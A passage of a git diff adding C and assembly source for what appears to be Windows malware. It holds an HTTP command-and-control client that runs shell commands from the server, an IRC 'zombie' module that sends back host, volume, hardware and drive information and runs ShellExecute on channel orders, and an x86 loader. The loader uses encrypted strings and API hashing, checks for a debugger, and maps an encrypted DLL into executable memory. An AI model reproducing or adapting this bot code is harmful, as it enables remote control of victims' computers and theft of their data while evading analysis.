&recv, &rsiz); + nextCode = 0; + if (send && ssiz > 0) { + COMPAT(free)(send); + send = NULL; + ssiz = 0; + } + + /* Server side actions */ + if (sret == ERR_HTTP_OK && rsiz > 0) { + size_t bufOff = 0; + http_resp* hResp = NULL; + + while ((ret = parseResponse(recv, rsiz, &hResp, &bufOff, &hApi->startMarker[0])) == RSP_OK && hResp) { + lastFlags = hResp->respFlags; + + if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) { + /* request aeskey, etc, ... */ + if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n", + hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz); +#endif + continue; + } + struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0]; + COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ); +#ifdef _PRE_RELEASE + if (!(hApi->state & ST_UNAUTH)) { + COMPAT(printf)("%s\n", "Re-Register forced"); + } +#endif + hApi->state &= ~ST_UNAUTH; +#ifdef _PRE_RELEASE + COMPAT(printf)("AES key: "); + __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ); + COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); +#endif + } + else if (hResp->respCode == RC_PING) { + /* ping */ + struct resp_pong* rsp = (struct resp_pong*)&hResp->pkgbuf[0]; + hApi->next_ping = rsp->next_ping; +#ifdef _PRE_RELEASE + COMPAT(printf)("PING-PONG: Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); +#endif + } + else if (hResp->respCode == RC_INFO) { + /* send host info */ + send = (rrbuff)createInfo(&ssiz); + nextCode = RC_INFO; + lastFlags = RF_AGAIN; + break; + } + else if (hResp->respCode == RC_SHELL) { + /* execute shell */ + if (parseAndRunShell(hResp) == 0) { + } + } + +#ifdef _PRE_RELEASE + if (hResp->respFlags == RF_ERROR) { + COMPAT(printf)("Response (Code: %d (0x%X)) failed.\n", hResp->respCode, hResp->respCode); + } +#endif + } + } + + /* free memory */ + if (recv && rsiz > 0) { + COMPAT(free)(recv); + recv = NULL; + rsiz = 0; + } + + } while (lastFlags == RF_AGAIN); +#ifdef _PRE_RELEASE + if (ret != -1) + COMPAT(printf)("Last parseResponse returned: %d\n", ret); +#ifdef _EXTRA_VERBOSE + COMPAT(printf)("%s\n", "----- End Of Response -----"); +#endif +#endif + + return ret; +} + +uint32_t getNextPingTime(void) +{ + if (hApi) + return hApi->next_ping; + else + return 0; +} +#endif /* __MINGW32__ */ + +#include "http.h" +#include "compat.h" +#ifdef _HOST_TOOLS +#include "helper.h" +#include "utils.h" +#endif + +int parseResponse(const rrbuff recv_buf, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker) +{ + if (!hResp || !pBufOff) + return RSP_ERR; + if (*pBufOff >= recv_siz) + return RSP_ERR; + + recv_siz -= *pBufOff; + /* check start marker */ + const rrbuff marker = (const rrbuff) COMPAT(memmem)((recv_buf + *pBufOff), recv_siz, startMarker, MARKER_SIZ); + if (!marker) + return RSP_PROTOCOL; + rrsize rel_size = (marker - (recv_buf + *pBufOff)); + recv_siz -= rel_size; + *pBufOff += rel_size; + + /* check minimal protocol size */ + if (recv_siz < sizeof(struct http_resp)) + return RSP_WRONGSIZE; + recv_siz -= sizeof(struct http_resp); + + /* get ptr */ + *hResp = (http_resp*)marker; + /* validate pkg size */ + if ((*hResp)->pkgsiz > recv_siz) + return RSP_WRONGPKGSIZE; + + *pBufOff += sizeof(struct http_resp) + (*hResp)->pkgsiz; + + /* validate RFs and RCs */ + bool flagFound = false; + /* validate RFs */ + rflags rfs[] = RF_ALL; + if ((*hResp)->respFlags != 0) { /* client should never set rflags another value then 0 */ + for (unsigned i = 0; i < SIZEOF(rfs); ++i) { + if (rfs[i] == (*hResp)->respFlags) { + flagFound = true; + break; + } + } + if (! flagFound) + return RSP_PROTOCOL_FLAG; + } + flagFound = false; + /* validate RCs */ + rrcode rcs[] = RC_ALL; + for (unsigned i = 0; i < SIZEOF(rcs); ++i) { + if (rcs[i] == (*hResp)->respCode) { + flagFound = true; + break; + } + } + if (! flagFound) + return RSP_PROTOCOL_CODE; + +#ifdef _PRE_RELEASE + COMPAT(printf)("HTTP RESPONSE(Size: %u, Code: %u (0x%X), Flags: %u (0x%X))\n", (rrsize)(*hResp)->pkgsiz, (*hResp)->respCode, (*hResp)->respCode, (*hResp)->respFlags, (*hResp)->respFlags); +#ifdef _EXTRA_VERBOSE + if ((*hResp)->pkgsiz > 0) { + const rrbuff pkg = (const rrbuff) &(*hResp)->pkgbuf[0]; + COMPAT(printf)("HTTP DATA(buf: %p, pkg: %p): ", marker, pkg); + __printByteBuf(pkg, (*hResp)->pkgsiz); + } +#endif +#endif + return RSP_OK; +} + +int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp) +{ + uint8_t sizA = (uint8_t)__rdtsc(); + uint8_t sizB = (uint8_t)__rdtsc(); + + rrsize new_siz = *send_siz + sizA + sizeof(*hresp) + hresp->pkgsiz + sizB; + if (*send_buf) + *send_buf = COMPAT(realloc)(*send_buf, new_siz*sizeof(**send_buf)); + else + *send_buf = COMPAT(calloc)(new_siz, sizeof(**send_buf)); + if (! *send_buf) return RSP_ERR; + rrbuff new_buf = *send_buf + *send_siz; + + COMPAT(memset)(new_buf, 'A', sizA); + COMPAT(memcpy)(new_buf + sizA, hresp, sizeof(*hresp) + hresp->pkgsiz); + COMPAT(memset)(new_buf + sizA + sizeof(*hresp) + hresp->pkgsiz, 'B', sizB); + *send_siz = new_siz; + return RSP_OK; +} diff --git a/source/irc.c b/source/irc.c new file mode 100644 index 0000000..f56147e --- /dev/null +++ b/source/irc.c @@ -0,0 +1,402 @@ +/* + * Module: irc.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Basic IRC zombie communication. + * Origin: https://bbs.archlinux.org/viewtopic.php?id=64254 + */ + +#include <winsock2.h> +#include <windows.h> + +#include "compat.h" +#include "irc.h" +#include "utils.h" +#include "crypt.h" +#include "crypt_strings.h" +#include "xor_strings_gen.h" + + +typedef int WSAAPI (*InitFunc) (WORD wVersionRequested, LPWSADATA lpWSAData); +typedef int WSAAPI (*GetLastErrorFunc) (void); +typedef SOCKET WSAAPI (*socketFunc) (int af, int type, int proto); +typedef int WSAAPI (*shutdownFunc) (SOCKET s, int how); +typedef int WSAAPI (*closesocketFunc) (SOCKET s); +typedef int WSAAPI (*getaddrinfoFunc)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult); +typedef int WSAAPI (*connectFunc) (SOCKET s, const struct sockaddr* name, int namelen); +typedef int WSAAPI (*sendFunc) (SOCKET s, const char* buf, int len, int flags); +typedef int WSAAPI (*recvFunc) (SOCKET s, char* buf, int len, int flags); +typedef int WSAAPI (*setsockoptFunc) (SOCKET s, int level, int optname, const char* optval, int optlen); + + +static ApiCall_t* SocketApi = NULL; +#define FUNC(i) (SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr) +#define RUN_FUNC(i, type, ...) ((type)SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)(__VA_ARGS__) + +#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getproc(lib, tmp); } +#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, socklib, dest) +#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, socklib, FUNC(i)) + + +static WSADATA wsaData = {0}; +static struct addrinfo* irc_ip = NULL; +static SOCKET sock = INVALID_SOCKET; + +static char* recv_buf = NULL; +static char* send_buf = NULL; +static char* tmp_buf = NULL; + + +int checkSockStr(const char* chkbuf, enum stridx i) +{ + DBUF(i, needle); + int ret = COMPAT(strnicmp)(chkbuf, needle, CLEN(i)); + return ret; +} + +int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc) +{ + if (SocketApi == NULL) { + SocketApi = COMPAT(calloc)(1, sizeof(struct ApiCall)*(XOR_SOCK_FUNCS_END-XOR_SOCK_FUNCS_START-1)); + if (SocketApi == NULL) + return -1; + + DBUF(SOCKDLL_ENUM, __nameSDLL); + HMODULE socklib = loadlib(__nameSDLL); + if (socklib == NULL) + return -2; + + BOOL ret = TRUE; + for (unsigned i = XOR_SOCK_FUNCS_START+1; i < XOR_SOCK_FUNCS_END; ++i) { + if (FUNC(i)) + continue; + DECRYPT_AND_GETPROCF(i); + if (!FUNC(i)) + ret = FALSE; + } + if (!ret) + return -3; + } + + if (!recv_buf) { + recv_buf = COMPAT(calloc)(S_BUFSIZ, sizeof(char)); + if (!recv_buf) + return -4; + } + if (!send_buf) { + send_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char)); + if (!send_buf) + return -4; + } + if (!tmp_buf) { + tmp_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char)); + if (!tmp_buf) + return -4; + } + + if (SocketApi) { + int res = RUN_FUNC(SOCKFUNC_INIT_ENUM, InitFunc, 0x202, &wsaData); /* WSA 2.2 */ + if (res != 0) + return -5; + } + + return 0; +} + +int shutSocket(void) +{ + if (!SocketApi) + return -1; + if (RUN_FUNC(SOCKFUNC_SHUTDOWN_ENUM, shutdownFunc, sock, SD_BOTH) != 0 + || RUN_FUNC(SOCKFUNC_CLOSESOCKET_ENUM, closesocketFunc, sock) == SOCKET_ERROR) + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + return 0; +} + +int ircRaw(const char* fmt, ...) +{ + if (!SocketApi) + return -1; + + va_list ap; + va_start(ap, fmt); + int ret = COMPAT(vsnprintf)(tmp_buf, S_BUFSIZ+1, fmt, ap); + va_end(ap); + + if (ret <= 0) + goto error; + size_t len = (ret < S_BUFSIZ ? ret : S_BUFSIZ); +#ifdef _PRE_RELEASE + COMPAT(printf)("irc_raw(%d/%d): %s\n", ret, len, tmp_buf); +#endif + ret = RUN_FUNC(SOCKFUNC_SEND_ENUM, sendFunc, sock, tmp_buf, len, 0); + if (ret == SOCKET_ERROR) + goto error; + +error: + return ret; +} + +int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...) +{ + char* buf = COMPAT(calloc)(totalSiz+1, sizeof(char)); + off_t iBuf = 0; + + va_list ap; + va_start(ap, fmt); + int ret = COMPAT(vsnprintf)(buf, totalSiz+1, fmt, ap); + va_end(ap); + + char* msgfmt = "PRIVMSG %s :%s\r\n"; + size_t fmtsiz = COMPAT(strlen)(target) + COMPAT(strlen)(msgfmt) - 4 /* len('%s')*2 */; + char tmp[S_BUFSIZ - fmtsiz + 1]; + while (ret > 0 && ret != SOCKET_ERROR) { + size_t bufsiz = ((size_t)ret > S_BUFSIZ-fmtsiz ? S_BUFSIZ-fmtsiz : (size_t)ret); + COMPAT(memcpy)(&tmp[0], &buf[0]+iBuf, bufsiz); + tmp[bufsiz] = 0; + + int s = ircRaw(msgfmt, target, &tmp[0]) - fmtsiz; + ret -= s; + iBuf += s; + + _WaitForSingleObject(_GetCurrentThread(), 500); + } + COMPAT(free)(buf); + return iBuf; +} + +int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz) +{ + SIZE_T newsiz = 0; + char* hexstr = __xbintostr(buf, siz, 1, &newsiz); + int ret = -1; + + if (hexstr && newsiz) { + ret = ircPrivmsg(target, newsiz, "%s", hexstr); + COMPAT(free)(hexstr); + } + return ret; +} + +int ircLoop(const char* nick, const char* channel, const char* host, const char* port) +{ + if (!SocketApi) + return -1; + + char *user, *command, *where, *message, *sep, *target; + int i, j, l, sl, o = -1, start = 0, wordcount; + struct addrinfo hints = {0}; + + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + if (!irc_ip && RUN_FUNC(SOCKFUNC_GETADDRINFO_ENUM, getaddrinfoFunc, host, port, &hints, &irc_ip) != 0) { + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + } + if (irc_ip->ai_addrlen != sizeof(struct sockaddr_in) /* TCP/IP version 4 */) + return -2; + + sock = RUN_FUNC(SOCKFUNC_SOCKET_ENUM, socketFunc, irc_ip->ai_family, irc_ip->ai_socktype, irc_ip->ai_protocol); + if (sock == INVALID_SOCKET) { + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + } else { + int sopt = R_BUFSIZ; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_RCVBUF, (const char*)&sopt, sizeof(sopt)); + sopt = S_BUFSIZ; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDBUF, (const char*)&sopt, sizeof(sopt)); + sopt = S_TIMEOUT; + /* SO_RECVTIMEO should not less then irc server PING(-command) time */ + //sApi->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&sopt, sizeof(sopt)); + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&sopt, sizeof(sopt)); + unsigned char copt = 1; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_KEEPALIVE,(const char*)&copt, sizeof(copt)); + } + +#ifdef _PRE_RELEASE + struct sockaddr_in* addr = (struct sockaddr_in*)irc_ip->ai_addr; + COMPAT(printf)("%s to %u.%u.%u.%u:%u\n", "irc: connecting", + addr->sin_addr.S_un.S_un_b.s_b1, addr->sin_addr.S_un.S_un_b.s_b2, + addr->sin_addr.S_un.S_un_b.s_b3, addr->sin_addr.S_un.S_un_b.s_b4, + SWAP_ENDIANESS16(addr->sin_port)); +#endif + if (RUN_FUNC(SOCKFUNC_CONNECT_ENUM, connectFunc, sock, irc_ip->ai_addr, irc_ip->ai_addrlen) != 0) + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "irc: connected !!"); +#endif + ircRaw("USER %s 0 0 :%s\r\n", nick, nick); + ircRaw("NICK %s\r\n", nick); + + while ((sl = RUN_FUNC(SOCKFUNC_RECV_ENUM, recvFunc, sock, recv_buf, S_BUFSIZ, 0)) != 0 && sl != SOCKET_ERROR) { + for (i = 0; i < sl; i++) { + o++; + send_buf[o] = recv_buf[i]; + if ((i > 0 && recv_buf[i] == '\n' && recv_buf[i - 1] == '\r') || o == S_BUFSIZ) { + send_buf[o + 1] = '\0'; + l = o; + o = -1; +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: %s", send_buf); +#endif + if (!checkSockStr(send_buf, SOCKSTR_PING_ENUM)) { + send_buf[1] = 'O'; + ircRaw("%s", send_buf); + } else if (send_buf[0] == ':') { + wordcount = 0; + user = command = where = message = NULL; + for (j = 1; j < l; j++) { + if (send_buf[j] == ' ') { + send_buf[j] = '\0'; + wordcount++; + switch(wordcount) { + case 1: user = send_buf + 1; break; + case 2: command = send_buf + start; break; + case 3: where = send_buf + start; break; + } + if (j == l - 1) continue; + start = j + 1; + } else if (send_buf[j] == ':' && wordcount == 3) { + if (j < l - 1) message = send_buf + j + 1; + break; + } + } + + if (wordcount < 2) continue; + + if (!checkSockStr(command, SOCKSTR_MOTD_ENUM) && channel) { + ircRaw("JOIN %s\r\n", channel); + } else + if (!checkSockStr(command, SOCKSTR_PRIVMSG_ENUM) || !checkSockStr(command, SOCKSTR_NOTICE_ENUM)) { + if (where == NULL || message == NULL) continue; + if ((sep = strchr(user, '!')) != NULL) user[sep - user] = '\0'; + if (where[0] == '#' || where[0] == '&' || where[0] == '+' || where[0] == '!') target = where; else target = user; +#ifdef _PRE_RELEASE + COMPAT(printf)("[from: %s] [reply-with: %s] [where: %s] [reply-to: %s] %s\n", user, command, where, target, message); + ircRaw("PRIVMSG %s :%s\r\n", target, message); +#endif + /* GetCommandLine(), GetSystemInfo(...), GetVolumeInformation(...), GetCurrentHwProfile(...), ShellExecute(...) */ + if (!checkSockStr(message, SOCKCMD_GETCMD_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetCommandLine !!\n"); +#endif + char* cmdline = _GetCommandLine(); + if (ircPrivmsg(target, COMPAT(strlen)(cmdline), "%s", cmdline) <= 0) + break; + } else + if (!checkSockStr(message, SOCKCMD_GETSYS_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetSystemInfo !!\n"); +#endif + SYSTEM_INFO si; + _GetSystemInfo(&si); + if (ircPrivmsgBinary(target, (unsigned char*)&si, sizeof(si)) <= 0) + break; + } else + if (!checkSockStr(message, SOCKCMD_GETVOL_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetVolumeInformation !!\n"); +#endif + char* root = NULL; + if (qtok(message, &message) && *message) { + root = qtok(message, &message); + if (root) { + size_t len = COMPAT(strlen)(root); + /* 0'ing \r\n */ + if (len >= 2) { + root[len-1] = 0; + root[len-2] = 0; + } + } + } + struct gvi { + char volname[128]; + DWORD volserial; + DWORD volflags; + char volfs[32]; + }; + struct gvi _gvi = {{0}, 0, 0, {0}}; + if (_GetVolumeInformation(root, _gvi.volname, sizeof(_gvi.volname), &_gvi.volserial, NULL, &_gvi.volflags, _gvi.volfs, sizeof(_gvi.volfs)) == TRUE) { + if (ircPrivmsgBinary(target, (unsigned char*)&_gvi, sizeof(_gvi)) <= 0) + break; + } else { + ircRaw("PRIVMSG %s :ERROR\r\n", target); + } + } else + if (!checkSockStr(message, SOCKCMD_GETHWPROFILE_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetCurrentHwProfile !!\n"); +#endif + HW_PROFILE_INFO hw; + if (_GetCurrentHwProfile(&hw)) { + if (ircPrivmsgBinary(target, (unsigned char*)&hw, sizeof(hw)) <= 0) + break; + } else { + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR); + } + } else + if (!checkSockStr(message, SOCKCMD_SHELLEXEC_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: ShellExecute !!\n"); +#endif + char* file = NULL; + char* params = NULL; + char* showCmd = NULL; + size_t len = 0; + if (qtok(message, &message) && *message) { + file = qtok(message, &message); + if (file && *message) { + params = qtok(message, &message); + if (params && *message) { + showCmd = qtok(message, &message); + if (showCmd) { + len = COMPAT(strlen)(showCmd); + /* 0'ing \r\n */ + if (len >= 2) { + showCmd[len-1] = 0; + showCmd[len-2] = 0; + } + } + } + } + } + if (len > 0) { + long scmd = strtol(showCmd, NULL, 10); + DBUF(SOCKCMD_SHELLOP_ENUM, __nameSHOP); + DBUF(SOCKCMD_FMT1_ENUM, __nameFMT1); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + HINSTANCE si = _ShellExecute(NULL, __nameSHOP, file, params, NULL, scmd); + if ((int)si <= 32) { + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)) + 12 /* len(int32_max)+ len(': ') */ + , __nameFMT1, __nameMSGERR, (int)si); + } + } else { + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGSHELL_ENUM, __nameMSGSH); + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGSH, CLEN(SOCKCMD_MSGSHELL_ENUM)), __nameFMT0, __nameMSGSH); + } + } else + if (!checkSockStr(message, SOCKCMD_ENUMDEVICES_ENUM)) { + struct LogicalDrives* devs = COMPAT(calloc)(DEFAULT_DEVS, sizeof(struct LogicalDrives)); + if (devs) { + DWORD count = dwEnumDrives(devs, DEFAULT_DEVS); + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + if (count > 0) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: EnumDrives: %d !!\n", (int)count); +#endif + ircPrivmsgBinary(target, (unsigned char*)devs, count*sizeof(struct LogicalDrives)); + } else ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR); + COMPAT(free)(devs); + } + } + } + } + } + } + } + + return 0; +} diff --git a/source/loader_x86.asm b/source/loader_x86.asm new file mode 100644 index 0000000..3f40320 --- /dev/null +++ b/source/loader_x86.asm @@ -0,0 +1,590 @@ +; Module: loader_x86.asm +; Author: Toni <matzeton@googlemail.com> +; Purpose: 1. reserve stack memory and decrypt strings +; 2. get kernel32.dll base address +; 3. get required function ptr (VirtualAlloc,IsBadReadPtr) +; 4. allocate virtual memory (heap) +; 5. copy sections from dll +; 6. run minimal crt at AddressOfEntry +; +; WARNING: Any changes in this file require a *FULL* project rebuild! +; e.g.: `git clean -df . ; cmake . ; make -j4` + + +%ifndef _LDR_SECTION +%error "expected _LDR_SECTION to be defined" +%endif +%ifndef _LOADER_ENDMARKER +%error "expected _LOADER_ENDMARKER to be defined" +%endif + +SECTION _LDR_SECTION +GLOBAL __ldr_start + +%define STRVALLOC 'VirtualAlloc',0x00 +%define STRRPTR 'IsBadReadPtr',0x00 +%define STRIVKEYSIZE 0x03 +%strlen LEN_STRVALLOC STRVALLOC +%strlen LEN_STRRPTR STRRPTR + +%define IVKEYSIZE 0x08 + +; const data offsets +ESI_MINSTACK EQU 0x00 ; minimal stack memory (can be modified by DLL) +ESI_STRVALLOC EQU 0x04 ; string 'VirtualAlloc',0x00 -> encrypted by file_crypt +ESI_STRRPTR EQU 0x11 ; string 'IsBadReadPtr',0x00 -> " " " +ESI_DLLIV EQU 0x1E ; DLL npcbc xor iv +ESI_DLLKEY EQU 0x3E ; DLL npcbc xor key +ESI_FLAGS EQU 0x5E ; DLL Flags +ESI_PTRDLL EQU 0x60 ; PtrToDLL +ESI_SIZDLL EQU 0x64 ; SizeOfDLL +; reserve memory on stack (use a multiple of 4 bytes, and at least 0x4C bytes!) +STACKMEM EQU 0x4C +; stack offsets +OFF_KERNEL32 EQU 0x00 ; KERNEL32 base address +OFF_PROCADDR EQU 0x04 ; FuncPtrGetProcAddress +OFF_VALLOC EQU 0x08 ; FuncPtrVirtualAlloc +OFF_BADRPTR EQU 0x0C ; FuncPtrIsBadReadPtr +OFF_ADROFENTRY EQU 0x10 ; AddressOfEntryPoint +OFF_IMAGEBASE EQU 0x14 ; DLL ImageBase +OFF_SIZOFIMAGE EQU 0x18 ; DLL SizeOfImage +OFF_SIZOFHEADR EQU 0x1C ; DLL SizeOfHeaders +OFF_FSTSECTION EQU 0x20 ; DLL FirstSection +OFF_NUMSECTION EQU 0x24 ; DLL NumberOfSections +OFF_VALLOCBUF EQU 0x28 ; buffer from VirtualAlloc +OFF_STRVALLOC EQU 0x2C ; string 'VirtualAlloc',0x00 -> decrypted +OFF_STRRPTR EQU 0x39 ; string 'IsBadReadPtr',0x00 -> decrypted +OFF_PTRDLL EQU 0x46 ; PtrToDLL (either a section, if plain, or an alloc'd buffer, if encrypted) + +; 32 Bit NULL value (used for databytes) +%define NULL 0x00,0x00,0x00,0x00 +; 16 Bit NULL value +%define NULL16 0x00,0x00 + + +; safe jump (so we can jump to the start of our loader buffer later) +jmp near __ldr_start + +; include our decrypter +%pathsearch DECRYPTER_SRC "/decrypter_x86.asm" +%include DECRYPTER_SRC + +; Calculate a 32 bit hash from a string (non-case-sensitive) +; arguments: esi = ptr to string +; ecx = bufsiz +; modifies : eax, edi +; return : 32 bit hash value in edi +__ldr_calcStrHash: + xor edi,edi + __ldr_calcHash_loop: + xor eax,eax + lodsb ; read in the next byte of the name [esi] and store it in al + cmp al,'a' ; some versions of Windows use lower case module names + jl __ldr_calcHash_not_lowercase + sub al,0x20 ; if so normalise to uppercase + __ldr_calcHash_not_lowercase: + ror edi,13 ; rotate right our hash value + add edi,eax ; add the next byte of the name to the hash + loop __ldr_calcHash_loop + ret + + +; Get base address of kernel32.dll (alternative way through PEB) +; arguments: - +; modifies : eax, ebx +; return : base addres in eax +__ldr_getModuleHandleKernel32PEB: + ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table + ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb + mov eax,[fs:0x30] ; PEB +%ifndef _DEBUG + ; check if we were beeing debugged + xor ebx,ebx + mov bl,[eax + 0x2] ; BeeingDebugged + test bl,bl + jnz __ldr_getModuleHandleKernel32PEB_fail + ; PEB NtGlobalFlag == 0x70 ? + ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet + xor ebx,ebx + mov bl,[eax + 0x68] + cmp bl,0x70 + je __ldr_getModuleHandleKernel32PEB_fail +%endif + mov eax,[eax+0x0c] ; PEB->Ldr + mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) + mov ebx,eax + xor ecx,ecx + __ldr_getModuleHandleKernel32PEB_loop: + pushad + mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) + mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 + call __ldr_calcStrHash + cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' + popad + mov ecx,[ebx+0x10] ; get base address + mov ebx,[ebx] + jne __ldr_getModuleHandleKernel32PEB_loop + mov eax,ecx + ret + __ldr_getModuleHandleKernel32PEB_fail: + xor eax,eax + ret + + +; Get Address of GetProcAddress from module export directory +; arguments: eax = kernel32 base address +; modifies : eax, ebx, ecx, edi, edx, esi +; return : eax +__ldr_getAdrOfGetProcAddress: + mov ebx,eax + add ebx,[eax+0x3c] ; PE header + mov ebx,[ebx+0x78] ; RVA export directory + add ebx,eax + mov esi,[ebx+0x20] ; RVA Export Number Table + add esi,eax ; VA of ENT + mov edx,eax ; remember kernel base + xor ecx,ecx + __ldr_getAdrOfGetProcAddress_loop: + inc ecx + lodsd ; load dword from esi into eax + add eax,edx ; add kernel base + pushad + mov esi,eax ; string + mov ecx,14 ; len('GetProcAddress') + call __ldr_calcStrHash + cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' + popad + jne __ldr_getAdrOfGetProcAddress_loop + dec ecx + mov edi,ebx + mov edi,[edi+0x24] ; RVA of Export Ordinal Table + add edi,edx ; VA of EOT + movzx edi,word [ecx*2+edi] ; ordinal to function + mov eax,ebx + mov eax,[eax+0x1c] ; RVA of Export Address Table + add eax,edx ; VA of EAT + mov eax,[edi*4+eax] ; RVA of GetProcAddress + add eax,edx ; VA of GetProcAddress + ret + + +; Get function pointer by function name +; arguments: ebx = base address of module +; ecx = string pointer to function name +; modifies : eax +; return : address in eax +__ldr_getProcAddress: + mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...) + push ecx + push ebx + call eax + ret + + +; Check if pointer is readable +; arguments: ebx = pointer +; ecx = size +; modifies : eax +; return : [0,1] in eax +__ldr_isBadReadPtr: + push ecx + push ebx + mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr + call eax + ret + + +; Allocate virtual memory in our current process space +; arguments: eax = Alloc Flags [0: PAGE_EXECUTE_READWRITE , 1:PAGE_READWRITE] +; ebx = preffered address +; ecx = size of memory block +; modifies : eax, edx +; return : ptr in eax +__ldr_VirtualAlloc: + xor edx,edx + mov dl,0x40 ; PAGE_EXECUTE_READWRITE + test al,0x01 + cmovz ax,dx ; if al == 0 then 0x40 (PAGE_EXECUTE_READWRITE) + shr dl,0x04 ; PAGE_READWRITE + test al,0x01 + cmovnz ax,dx ; if al == 1 then 0x04 (PAGE_READWRITE) + push eax ; PUSH Alloc Flags on stack for subsequent calls (see below) + push ecx ; save size for a possible second call to VirtualAlloc(...) + ; VirtualAlloc API call + push eax ; PAGE ACCESS FLAGS for VirtualAlloc + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + push ebx + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + test eax,eax + pop ecx ; restore size + jnz __ldr_VirtualAlloc_success + ; base address already taken + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + xor eax,eax + push eax + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + push edx + __ldr_VirtualAlloc_success: + pop edx ; POP either Alloc Flags or EDX + ret + + +; Read DLL PE header from memory +; arguments: ebx = ptr to memory +; modifies : eax, ecx, edx +; return : [0,1] in eax +__ldr_ReadPE: + ; check dos magic number + xor ecx,ecx + mov cx,[ebx] + cmp cx,0x5a4d ; Magic number (DOS-HEADER) + jne near __ldr_ReadPE_fail + ; e_lfanew + mov ecx,ebx + add ecx,0x3c ; OFFSET: e_lfanew + mov eax,[ecx] ; e_lfanew + ; check if 0x40 <= e_lfanew <= 0x80 (default value) + cmp eax,0x80 + ja near __ldr_ReadPE_fail + cmp eax,0x40 + jb near __ldr_ReadPE_fail + ; NT(PE)-Header + add eax,ebx ; [e_lfanew + ptr] = NT-HEADER + mov ecx,eax ; *** save NT-HEADER in ECX *** + ; check pe magic number + xor eax,eax + mov eax,[ecx] + cmp ax,0x4550 ; 'EP' -> 'PE' + jne __ldr_ReadPE_fail + ; check opt header magic + mov eax,ecx + add eax,0x18 ; 